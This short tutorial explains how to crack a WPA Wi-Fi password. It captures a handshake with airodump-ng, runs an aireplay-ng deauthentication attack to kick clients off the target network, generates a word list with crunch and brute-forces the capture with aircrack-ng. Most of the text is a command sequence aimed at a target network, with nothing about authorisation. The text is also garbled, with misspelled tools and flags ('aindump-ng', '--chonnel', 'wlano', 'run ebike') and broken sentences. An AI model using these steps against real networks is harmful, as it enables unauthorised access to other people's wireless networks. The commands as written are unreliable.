**WPA cracking With word list :**

If push button authentication is used, the previous method will not function.

Right now, we need to capture these handshake packets. discover the target network's MAC ID.

Take a copy of it MAC-T

* aindump-ng --bssid (MAC-1) --chonnel[] write wpa\_handshake wlano.

(Press Enter)

You now need to wait for it to establish a connection to your desired network. fresh tent to

As an alternative, a de-authentication attack is an option.

split your and terminal, and run

* aireplay-ng-deauth 4 -a [MAC-T] –C [MAC user] wlano.

(hit enter)

now you... will revive a message telling handshake in airodump terminal.

Creating a word list:

run

* crunch. 6 8 123abc=+ -0.test.txt.

now all passwords are created and saved on test- txt.

Now, use both handshake & word list to crack.

-run ebike.

* aircrack-ng wpq-handshake-01. cap -w test. txt hit enter.

Key found [blabla 12] is your PASSWORD